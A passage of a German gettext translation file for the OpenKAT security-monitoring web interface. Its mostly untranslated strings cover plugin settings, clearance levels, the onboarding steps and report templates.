\"Arguments\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"Einstellungen löschen\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\"Sind Sie sicher, dass Sie alle Einstellungen für das Plugin %(plugin_name)s \"\n\"löschen wollen?\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"Übersicht der Einstellungen\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"Die Sitzung wurde beendet, bitte wählen Sie erneut Objekte aus.\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"Freigabestufe ändern\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"Einstellungen von {} nach {} erfolgreich geklont.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"Einstellungen für boefje konnten nicht abgerufen werden {}\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"Das Abrufen von Informationen für das Plugin {} ist fehlgeschlagen. Bitte \"\n\"prüfen Sie die KATalogus-Logs.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"Für einige ausgewählte OOIs ist eine Erhöhung der Freigabestufe \"\n\"erforderlich, um Scans durchzuführen. Sie haben nicht die Berechtigung, die \"\n\"Freigabestufe zu ändern.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"Onboarding überspringen\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"Objekt erstellen\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"Objekt erstellen\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"Gebrauchte Config Objekte\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"Gebrauchte Konfigurationsobjekte\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"Primärschlüssel\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"Bit ID\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"Konfiguration\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"Keine Konfigurationsobjekte gefunden.\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"Assetübersicht\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: 